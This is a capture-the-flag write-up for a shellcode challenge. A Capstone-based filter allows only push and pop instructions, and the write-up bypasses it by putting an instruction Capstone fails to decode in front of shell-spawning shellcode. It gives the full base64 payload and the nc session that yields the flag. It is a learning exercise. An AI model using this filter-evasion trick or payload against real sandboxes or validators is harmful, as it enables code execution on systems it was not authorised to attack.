Overview
We’re given a Python script that takes base64 input and decodes it, expecting x86_64 assembly code to execute.
...
from capstone import Cs, CS_ARCH_X86, CS_MODE_64
from capstone import CS_OP_REG
...
def check(code: bytes):
if len(code) > 0x2000:
return False
md = Cs(CS_ARCH_X86, CS_MODE_64)
md.detail = True
for insn in md.disasm(code, 0):
name = insn.insn_name()
if name!="pop" and name!="push" :
if name=="int3" :
continue
return False
if insn.operands[0].type!=CS_OP_REG:
return False
return True
def run(code: bytes):
# Runs the code
...
def main():
code = input("Shellcode : ")
code = base64.b64decode(code.encode())
...
if check(code):
run(code)
...
We notice that the disassembler used in this challenge is Capstone.
For the script to run the given code, the following conditions must be met:
- The disassembled instruction must be
PUSH
,POP
, orINT3
. - The
PUSH
andPOP
instructions must only contain aREGx
as the first operand.
If any condition isn’t met, the program will not run our code.
Vulnerability
The vulnerability is in the check function, it keeps disassembling instructions until it hits an invalid instruction. This means if we provide an invalid instruction as the first instruction, it won’t be disassembled without returning an error, thus skipping the next instructions.
Exploitation
To exploit this vulnerability, we need to find an instruction that is valid to execute by the CPU but considered invalid for the disassembler.
Luckily there’s a still open issue about an instruction that isn’t correctly disassembled wich is then deemed invalid. After slight edit of the problematic instruction, we end up with the following instruction:
movsxd ecx, eax
We just need to insert this instruction at the beginning of our shellcode to make the check function exit early due to that instruction being invalid.
shellcode = b"\x63\xc8" # movsxd ecx, eax
shellcode += asm(shellcraft.sh()) # crafted shellcode that opens a shell
We then encode the shellcode in base64 and give it to the server:
> nc pwn-14caf623.p1.securinets.tn 9001
Shellcode : Y8hqaEi4L2Jpbi8vL3NQSInnaHJpAQGBNCQBAQEBMfZWagheSAHmVkiJ5jHSajtYDwU=
# We're now in a shell
> cat app/flag.txt
> Securinets{push_pop_to_hero}